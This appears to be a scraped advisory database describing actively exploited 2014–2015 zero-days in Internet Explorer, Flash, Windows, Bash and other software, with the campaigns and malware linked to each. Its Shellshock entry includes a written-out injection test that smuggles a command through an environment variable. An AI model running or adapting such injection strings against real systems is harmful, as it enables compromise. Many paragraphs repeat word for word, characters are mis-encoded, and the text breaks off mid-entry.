The weakness exists due to failure to use Address Space Layout Randomization (ASLR). A remote attacker can create a specially crafted Web site, trick the victim into visiting it, bypass ASLR mechanism and predict memory locations that if connected with another vulnerability allows to execute arbitrary code.

Successful exploitation of this vulnerability results in security bypass on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Allegedly, Chinese hackers combined it with a remote-code execution vulnerability in Adobe Flash to infect visitors to the Forbes website with malware since November, 2014.

Software: Microsoft Internet Explorer

Known/fameous malware:

JS:CVE-2015-0071-A.

Allegedly, Chinese hackers combined it with a remote-code execution vulnerability in Adobe Flash to infect visitors to the Forbes website with malware since November, 2014.

Stored cross-site scripting in FancyBox for WordPress
CVE-2015-1494

Stored cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-input. A remote attacker can send a specially crafted HTTP request to vulnerable website and permanently store arbitrary HTML and JavaScript code on it. The code will be executed in browser of every website visitor.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited.

i

The vulnerability was notified by Konstantin Kovshenin and Gennady Kovshenin.

Software: FancyBox

The vulnerability was notified by Konstantin Kovshenin and Gennady Kovshenin.

Multiple vulnerabilities in Adobe Flash Player
CVE-2015-0313

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when processing .swf content. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability was used during malwertising campaign against visitors of dailymotion.com.

Software: Adobe Flash Player

Known/fameous malware:

SWF_EXPLOIT.MJST
Hanjuan Exploit Kit

The vulnerability was used during malwertising campaign against visitors of dailymotion.com.

Cross-site scripting in Microsoft Internet Explorer
CVE-2015-0072

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-input passed via vectors involving an IFRAME element. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in userтАЩs browser in context of another website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited.
i

CVE-2015-0072 was apparently reported to Microsoft on Oct. 13, 2014, however David Leo disclosed the details of this vulnerability to the popular Full Disclosure security mailing list on Jan. 31, 2015.

Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit: HTML/CVE-2015-0072.A

CVE-2015-0072 was apparently reported to Microsoft on Oct. 13, 2014, however David Leo disclosed the details of this vulnerability to the popular Full Disclosure security mailing list on Jan. 31, 2015.

Remote code execution in Adobe Flash Player
CVE-2015-0311

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability was discovered by French security researcher тАЬKafeineтАЭ.
It was actively being exploited in the wild via drive-by-download attacks against systems running Internet Explorer and Firefox on Windows 8.1 and below. It was used by Angler EK and infected at least 1,800 known domains.

Software: Adobe Flash Player

Known/fameous malware:

SWF/Exploit.CVE-2015-0311.N(2)
Trojan.Swifi (Symantec)
Angler EK

The vulnerability was discovered by French security researcher тАЬKafeineтАЭ.
It was actively being exploited in the wild via drive-by-download attacks against systems running Internet Explorer and Firefox on Windows 8.1 and below. It was used by Angler EK and infected at least 1,800 known domains.

Security bypass in Adobe Flash Player
CVE-2015-0310

Security bypass

The vulnerability allows a remote attacker to circumvent memory address randomization on the target system.

The weakness exists due to memory leak error. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption, bypass memory address randomization on the Windows platform and obtain sensitive information.

Note: the vulnerability was being actively exploited.

i

The vulnerability was discovered and reported by security researcher Kafeine.
The vulnerability was used in attacks against older versions of Flash Player.

Software: Adobe Flash Player

Known/fameous malware:

Angler EK.

The vulnerability was discovered and reported by security researcher Kafeine.
The vulnerability was used in attacks against older versions of Flash Player.

Privilege escalation in Microsoft Windows
CVE-2015-0016

Path traversal

The vulnerability allows a remote attacker to gain elevated privileges on the target system.

The weakness exists due to insufficient validation of user-supplied input within TS WebProxy Windows component. A remote attacker can trick the victim into downloading a specially crafted file and execute it with privileges of the current user.  

Successful exploitation of the vulnerability may result in full control of the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability was being used in CNACOM campaign targeting government organization in Taiwan.

Software: Windows

Known/fameous malware:

Exploit.Win32.CVE-2015-0016.

The vulnerability was being used in CNACOM campaign targeting government organization in Taiwan.

Multiple vulnerabilities in Adobe Flash Player
CVE-2014-9163

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by the researcher тАШbilouтАЩ, who reported the bug through HPтАЩs Zero Day Initiative (ZDI).

Has been used in a watering hole attack against US Defense and Financial Services firms, where it was hosted on the compromised Forbes.com website.

Software: Adobe Flash Player

Known/fameous malware:

Trojan.Win32.Bergard.A.

The vulnerability was discovered by the researcher тАШbilouтАЩ, who reported the bug through HPтАЩs Zero Day Initiative (ZDI).

Has been used in a watering hole attack against US Defense and Financial Services firms, where it was hosted on the compromised Forbes.com website.

Two vulnerabilities in Siemens SIMATIC WinCC
CVE-2014-8551

Improper input validation

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to improper input validation when processing packets sent to the WinCC server. A remote unauthenticated attacker can send a specially crafted packet and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability has been exploited in targeted attacks.

i

The vulnerability has been exploited in targeted attacks involving BlackEnergy Trojan.

Software: Siemens SIMATIC WinCC

Known/fameous malware:

BlackEnergy

The vulnerability has been exploited in targeted attacks involving BlackEnergy Trojan.

Privilege escalation in Microsoft Windows
CVE-2014-6324

Privilege escalation

The vulnerability allows a remote authenticated attacker to obtain elevated privileges on the target system.

The weakness exists due to the failure to properly validate signatures in the Kerberos ticket by the Microsoft Kerberos KDC implementation. A remote attacker can forge a ticket and elevate an unprivileged domain user account to a domain administrator account.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Exploited by Duqu.

The vulnerability was reported by Qualcomm Information Security & Risk Management team.

Software: Windows

Exploited by Duqu.

The vulnerability was reported by Qualcomm Information Security & Risk Management team.

Remote code execution in JustSystems Ichitaro
CVE-2014-7247

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when processing documents. A remote attacker can create a specially crafted file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.


i

According TrendMicro and Symantec this is a zero-day.

Backdoors Emdivi, Korplug and ZXshell were used in the cyberespionage campaign,тАЬOperation CloudyOmega,тАЭ to target Japanese organisations.

Software: Ichitaro

Known/fameous malware:

Emdivi
Korplug
ZXshell

According TrendMicro and Symantec this is a zero-day.

Backdoors Emdivi, Korplug and ZXshell were used in the cyberespionage campaign,тАЬOperation CloudyOmega,тАЭ to target Japanese organisations.

Privilege escalation in Microsoft Windows
CVE-2014-4077

Privilege escalation

The vulnerability allows a remote authenticated attacker to obtain elevated privileges on the target system.

The weakness exists due to improper access control in Microsoft implementation of Input Method Editor (IME) for Japanese language. A remote attacker can create a specially crafted file designed to invoke a vulnerable sandboxed application, trick the victim into opening it, gain elevated privileges and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

CVE-2014-4077 used in targeted attack in the wild to bypass Adobe Reader Sandbox via binary hijacking using malicious DIC file.

Software: Windows

CVE-2014-4077 used in targeted attack in the wild to bypass Adobe Reader Sandbox via binary hijacking using malicious DIC file.

Remote code execution in Microsoft Windows
CVE-2014-6352

Code injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error when handling malicious Office files. A remote attacker can create a specially crafted Microsoft Office file containing the malicious OLE object, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Microsoft first received information about this vulnerability through coordinated vulnerability disclosure. Zero-day was initially found and reported to McAfee by James Forshaw of Google Project Zero.

The vulnerability is publicly known as "Sandworm" and has been exploited by the Chinese against Taiwan.

Software: Windows

Known/fameous malware:

Trojan.Mdropper. (Symantec).

Microsoft first received information about this vulnerability through coordinated vulnerability disclosure. Zero-day was initially found and reported to McAfee by James Forshaw of Google Project Zero.

The vulnerability is publicly known as "Sandworm" and has been exploited by the Chinese against Taiwan.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2014-4123

Privilege escalation

The vulnerability allows a remote attacker to obtain elevated privileges on the target system.

The weakness exists due to the failure to properly validate permissions. A remote attacker can gain elevated privileges and execute arbitrary code on the affected system.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.


i

CrowdStrike first detected the attacks in spring.
The zero-day reported by CrowdStrike was also reported by FireEye.
The issue has been introduced in 07/27/2005.
The vulnerability was handled as a non-public zero-day exploit for at least 3366 days.

Exploited by Hurricane Panda.

Software: Microsoft Internet Explorer

CrowdStrike first detected the attacks in spring.
The zero-day reported by CrowdStrike was also reported by FireEye.
The issue has been introduced in 07/27/2005.
The vulnerability was handled as a non-public zero-day exploit for at least 3366 days.

Exploited by Hurricane Panda.

Multiple vulnerabilities in OpenSSL
CVE-2014-3566

Information disclosure

The vulnerability allows a remote attacker to perform MitM attack.

The vulnerability exists due to usage of insecure SSLv3 protocol in OpenSSL. A remote attacker can force the current connection between user and server to be downgraded to SSLv3 protocol and then use padding-oracle attack on Cypher-block chaining (CBC) mode to decrypt encrypted communication.

Successful exploitation of the vulnerability may allow an attacker to read encrypted communications in clear text.

Note: The vulnerability is known as POODLE.
i

The vulnerability was used in the attack called Poodle against Docker.

Software: OpenSSL

The vulnerability was used in the attack called Poodle against Docker.

Multiple vulnerabilities in Adobe Flash Player
CVE-2014-8439

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

An Adobe Flash vulnerability was discovered in October and promptly patched. The exploits in the Nuclear and Angler kits were detected by the French researcher Kafeine shortly after the company released an update on Oct.14. Despite a patch on 14, October 2014, the vulnerability was not completely mitigated. The vulnerability was patched again in November, 25.


Software: Adobe Flash Player

Known/fameous malware:

Troj/SWFExp-CD.
Exploit kits: Angler, Nuclear, and Astrum.

An Adobe Flash vulnerability was discovered in October and promptly patched. The exploits in the Nuclear and Angler kits were detected by the French researcher Kafeine shortly after the company released an update on Oct.14. Despite a patch on 14, October 2014, the vulnerability was not completely mitigated. The vulnerability was patched again in November, 25.


Remote code execution in Microsoft Windows
CVE-2014-4148

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper input validation when processing TrueType fonts in kernel-mode driver (win32k.sys). A remote attacker can create a specially crafted font file, place it on a web page, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was highly exploited by advanced adversary group named HURRICANE PANDA.

Software: Windows

The vulnerability was highly exploited by advanced adversary group named HURRICANE PANDA.

Remote code execution in Microsoft Windows
CVE-2014-4114

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error when processing OLE objects. A remote attacker can create a specially crafted OLE object, attach it to a document (e.g. PowerPoint file), trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The zero-day vulnerability is being claimed to have been used in early September in possible campaigns against NATO, Ukrainian government organizations, Western European government organization, Energy Sector firms (specifically in Poland), European telecommunications firms, United States academic organizations.
Files in the SandWorm exploit hilighted by iSIGHT Partners include a malicious executable from a known malware family, namely the BlackEnergy Trojan.

Software: Windows

Known/fameous malware:

Dyreza Trojan.
SandWorm
BlackEnergy Trojan.

The zero-day vulnerability is being claimed to have been used in early September in possible campaigns against NATO, Ukrainian government organizations, Western European government organization, Energy Sector firms (specifically in Poland), European telecommunications firms, United States academic organizations.
Files in the SandWorm exploit hilighted by iSIGHT Partners include a malicious executable from a known malware family, namely the BlackEnergy Trojan.

Privilege escalation in Microsoft Windows
CVE-2014-4113

Privilege escalation

The vulnerability allows a local attacker to obtain elevated privileges on the target system.

The weakness exists due to improper handling of objects in memory by kernel-mode driver (win32k.sys). A local attacker can run a specially crafted application to gain elevated privileges and take complete control of the system.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was apparently found and reported to Microsoft by both ╨бrowdStrike and FireEye.
The vulnerability has been actively exploited in the wild for at least five month by highly advanced adversary group named HURRICANE PANDA.

Software: Windows

Known/fameous malware:

Nuclear Exploit Kit.

The vulnerability was apparently found and reported to Microsoft by both ╨бrowdStrike and FireEye.
The vulnerability has been actively exploited in the wild for at least five month by highly advanced adversary group named HURRICANE PANDA.

Remote code execution in FreePBX
CVE-2014-7235

Code injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error in the legacy FreePBX ARI Framework module/Asterisk Recording Interface (ARI). A remote attacker can bypass the authentication process and execute arbitrary code with administrative privileges.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.


Software: FreePBX

Multiple RCE vulnerabilities in GNU Bash aka Shellshock
CVE-2014-6271

Command injection

The vulnerability allows a remote attacker to execute arbitrary commands on the target system.

The vulnerability exists due to incorrect parsing of environment variables. A remote attacker can execute arbitrary code on the target system as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

Successful exploitation may allow an attacker to gain complete control over vulnerable system.

Exploitation example:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Note: this vulnerability was being actively exploited in the wild.

i

Shellshock is a variety of vulnerabilities in GNU Bash implementation caused by incomplete patches after official release of the fix and public disclosure of the vulnerability. There were 5 failed attempts in total to fix this Shellshock bugs until it was finally patched in version bash43-027, released on October 1, 2014.

Some of these vulnerabilities were exploited in the wild before the patch, which makes them zero-days. These vulnerabilities are covered under the following CVEs:

CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187

Giving the nature of the vulnerabilities and attack vectors we have decided to cover these vulnerabilities under one description and count them as one zero-day vulnerability.

Software: Bash

Shellshock is a variety of vulnerabilities in GNU Bash implementation caused by incomplete patches after official release of the fix and public disclosure of the vulnerability. There were 5 failed attempts in total to fix this Shellshock bugs until it was finally patched in version bash43-027, released on October 1, 2014.

Some of these vulnerabilities were exploited in the wild before the patch, which makes them zero-days. These vulnerabilities are covered under the following CVEs:

CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187

Giving the nature of the vulnerabilities and attack vectors we have decided to cover these vulnerabilities under one description and count them as one zero-day vulnerability.

Information disclosure in Microsoft Internet Explorer
CVE-2013-7331

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to information disclosure vulnerability in Microsoft XMLDOM ActiveX component. A remote attacker can create a specially crafted Web page, trick the victim into visiting it and check for the presence of local drive letters, directory names, files, as well as internal network addresses or websites.

Successful exploitation of the vulnerability results in information disclosure on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

PoC-code for this vulnerability was available since at least April 25, 2013.

Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit kits: Angler, Rig, Nuclear, Styx.

PoC-code for this vulnerability was available since at least April 25, 2013.

Privilege escalation in Microsoft Internet Explorer
CVE-2014-2817

Privelege escalation

The vulnerability allows a remote attacker to obtain elevated privileges on the target system.

The weakness exists due to the failure to properly validate permissions. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, gain elevated privileges and execute arbitrary code on the affected system.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Internet Explorer

Remote code execution in Adobe Acrobat and Adobe Reader
CVE-2014-0546

Security bypass

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper input validation when processing .pdf files. A remote attacker can create a specially crafted file, trick the victim into opening it, bypass sandbox restrictions and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by Costin Raiu and Vitaly Kamluk of Kaspersky Labs.

Exploited by Animal Farm group.

Software: Adobe Reader

The vulnerability was discovered by Costin Raiu and Vitaly Kamluk of Kaspersky Labs.

Exploited by Animal Farm group.

Security bypass in Microsoft Office
CVE-2014-1809

Security bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to improper implementation of Address Space Layout Randomization (ASLR) features in MSCOMCTL. By persuading a victim to visit a specially-crafted Web site or open an application or Office document with a specially-crafted ActiveX control embedded within it, an attacker could exploit this vulnerability to bypass ASLR and execute another attack that otherwise would have been blocked by ASLR.

Successful exploitation of the vulnerability results in security bypass on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The issue has been introduced in 01/30/2007.

Software: Microsoft Office

The issue has been introduced in 01/30/2007.

Privilege escalation in Microsoft Windows
CVE-2014-1812

Privilege escalation

The vulnerability allows a remote authenticated attacker to obtain elevated privileges on the target system.

The weakness exists due to the method passwords are distributed when configured using group policy preference. A remote authenticated attacker can obtain sensitive credential information and consequently gain privileges by leveraging access to the SYSVOL share.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows

Two remote code execution vulnerabilities in Microsoft Internet Explorer
CVE-2014-1815

тАЬUse-after-freeтАЭ error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

CVE-2014-1815 was reported to Microsoft by Clement Lecigne, a security engineer who works for Google in its Swiss office.

The vulnerability was used in the phishing campaign started on or about July 21, 2014 and primarily targeting the energy industry.

Software: Microsoft Internet Explorer

CVE-2014-1815 was reported to Microsoft by Clement Lecigne, a security engineer who works for Google in its Swiss office.

The vulnerability was used in the phishing campaign started on or about July 21, 2014 and primarily targeting the energy industry.

Privilege escalation in Microsoft Windows
CVE-2014-1807

Privilege escalation

The vulnerability allows a local attacker to obtain elevated privileges on the target system.

The weakness exists due to improper use of the ShellExecute API function. A local attacker can run a specially crafted application within the context of the Local System account and gain elevated privileges.

Successful exploitation of the vulnerability results in privilege escalation on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows

Remote code execution in Adobe Flash Player
CVE-2014-0515

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow, caused by improper bounds checking by the pixel bender component. A remote attacker can create a specially crafted SWF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

A sample of the first exploit was detected on April 14, while a sample of the second came on April 16. The first exploit was initially recorded by KSN on April 9, when it was detected by a generic heuristic signature.

The disclosed vulnerability was actively exploited and relates to attack via the website of Syrian Ministry of Justice in September, 2013.

Software: Adobe Flash Player

Known/fameous malware:

Exploit:SWF/CVE-2014-0515

A sample of the first exploit was detected on April 14, while a sample of the second came on April 16. The first exploit was initially recorded by KSN on April 9, when it was detected by a generic heuristic signature.

The disclosed vulnerability was actively exploited and relates to attack via the website of Syrian Ministry of Justice in September, 2013.

Remote code execution in Microsoft Internet Explorer
CVE-2014-1776

тАЬUse-after-freeтАЭ error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability uses a heap-spray technique. Used in Pawn Storm campaign.
Used by APT groups.

Software: Microsoft Internet Explorer

The vulnerability uses a heap-spray technique. Used in Pawn Storm campaign.
Used by APT groups.

Multiple vulnerabilities in Microsoft Word and Office Web Apps
CVE-2014-1761

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling RTF-formatted data. A remote attacker can create a specially crafted RTF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Used in Pawn Storm campaign, attacks against government agencies in Taiwan.

Software: Microsoft Office

Known/fameous malware:

Trojans like Dridex or Dyreza and ransomware like cryptolocker or Teslacrypt.

Used in Pawn Storm campaign, attacks against government agencies in Taiwan.

Remote code execution in Microsoft Internet Explorer
CVE-2014-0324

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

On Feb. 11, FireEye researchers identified a zero-day exploit in Internet Explorer 10.

The exploit was being used in Operation SnowMan that compromised the U.S. Veterans of Foreign Wars website.


Software: Microsoft Internet Explorer

Known/fameous malware:

Elderwood exploit kit.

On Feb. 11, FireEye researchers identified a zero-day exploit in Internet Explorer 10.

The exploit was being used in Operation SnowMan that compromised the U.S. Veterans of Foreign Wars website.


Remote code execution in Microsoft Internet Explorer
CVE-2014-0307

тАЬUse-after-freeтАЭ error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free when accessing an object in memory. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The flaw was most likely introduced in August 2013. The vulnerability was reported to vendor - 2014-02-04.
Private fully functional exploit code existed long before the vendor released security patch. We consider this vulnerability a zero-day.

Software: Microsoft Internet Explorer

Known/fameous malware:

JS/Exploit.CVE-2014-0307.

The flaw was most likely introduced in August 2013. The vulnerability was reported to vendor - 2014-02-04.
Private fully functional exploit code existed long before the vendor released security patch. We consider this vulnerability a zero-day.

Multiple vulnerabilities in Adobe Flash Player
CVE-2014-0502

Double free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to double free error when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Wen Guanxing of Venustech, The Google Security Team and FireEye were working at the vulnerability.
FireEye dubbed the attack exploiting the vulnerability "Operation GreedyWonk".
The vulnerability was exploited to compromise sites of:

  • Peterson Institute for International
  • Economics American Research Center in Egypt
  • Smith Richardson Foundation
TrendMicro uses CVE-2014-0498 in some reports to cover exploit used in Operation GreedyWonk. But we believe this is the same vulnerability and we will refer to it as CVE-2014-0502.

Software: Adobe Flash Player

Known/fameous malware:

Elderwood exploit kit.

Wen Guanxing of Venustech, The Google Security Team and FireEye were working at the vulnerability.
FireEye dubbed the attack exploiting the vulnerability "Operation GreedyWonk".
The vulnerability was exploited to compromise sites of:
  • Peterson Institute for International
  • Economics American Research Center in Egypt
  • Smith Richardson Foundation
TrendMicro uses CVE-2014-0498 in some reports to cover exploit used in Operation GreedyWonk. But we believe this is the same vulnerability and we will refer to it as CVE-2014-0502.

Remote code execution in Microsoft Internet Explorer
CVE-2014-0322

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error related to GIFAS. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

A zero-day exploit hosted on a breached website based in the U.S Military. The vulnerability was used in the wild as part of "Operation SnowMan".

Software: Microsoft Internet Explorer

Known/fameous malware:

Trojan.Malscript
Trojan.Swifi.
Backdoor.Moudoor
Elderwood exploit kit.

A zero-day exploit hosted on a breached website based in the U.S Military. The vulnerability was used in the wild as part of "Operation SnowMan".

Multiple vulnerabilities in TYPO3
CVE-2014-6293

SQL Injection

The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted HTTP request to vulnerable website and execute arbitrary SQL commands in web application database.

Successful exploitation may allow an attacker to gain unauthorized access to the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: TYPO3

Known/fameous malware:


Multiple vulnerabilities in Microsoft .NET Framework
CVE-2014-0295

ASLR bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to missing Address Space Layout Randomization (ASLR) features in certain components. A remote attacker can create a specially crafted Web site, trick the victim into opening it, bypass security restrictions and execute another attack.

Successful exploitation of the vulnerability results in security bypass on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft .NET Framework

Information disclosure in Microsoft XML Core Services
CVE-2014-0266

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to improper enforcement of cross-domain policies. A remote attacker can create a specially crafted Web page, trick the victim into visiting it using Internet Explorer, bypass cross-domain security restrictions and read local files or content from web domains the victim is authenticated with.

Successful exploitation of the vulnerability results in information disclosure on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Microsoft and FireEye first discussed this issue in November, 2013.

Software: Microsoft XML Core Services

Microsoft and FireEye first discussed this issue in November, 2013.

Denial of service in Apache Struts
CVE-2014-0050

Infinite loop

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to boundary error when handling Content-Type HTTP header for multipart requests. By sending a specially crafted Content-Type header, containing 4092 characters in "boundary" field, a remote attacker can cause the application to enter into an infinite loop.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

On April 24, 2014, the Apache Software Foundation (ASF) released an advisory warning that a patch issued in March, 2 for a zero-day vulnerability in Apache Struts up to version 2.3.16.1, did not fully patch the vulnerabilities (CVE-2014-0094 or CVE-2014-0050).

Software: Apache Struts

On April 24, 2014, the Apache Software Foundation (ASF) released an advisory warning that a patch issued in March, 2 for a zero-day vulnerability in Apache Struts up to version 2.3.16.1, did not fully patch the vulnerabilities (CVE-2014-0094 or CVE-2014-0050).

Remote code execution in Adobe Flash Player
CVE-2014-0497

Integer underflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer underflow when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Exploited by DarkHotel APT.

The vulnerability survived for 84 days after update in November 2013.

Software: Adobe Flash Player

Exploited by DarkHotel APT.

The vulnerability survived for 84 days after update in November 2013.

Remote code execution in JustSystems Sanshiro
CVE-2014-0810

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a boundary error when processing office documents. A remote attacker can create a specially crafted document, trick the victim into opening it, trigger buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Sanshiro

Remote code execution in GE Proficy CIMPLICITY HMI
CVE-2014-0751

Improper access control

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to improper access control and incorrect validation of the szScreen field when processing file uploads within the CimWebServer component. A remote unauthenticated attacker can upload and execute arbitrary file on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability has been exploited in targeted attacks.

i

According to ICS-CERT, the vulnerability has been exploited in the wild since at least since January 2012. The vulnerability has been exploited in Sandworm campaign.

Software: CIMPLICITY

Known/fameous malware:

BlackEnergy

According to ICS-CERT, the vulnerability has been exploited in the wild since at least since January 2012. The vulnerability has been exploited in Sandworm campaign.

SQL Injection in OpenX Source Revive Adserver
CVE-2013-7149

SQL injection

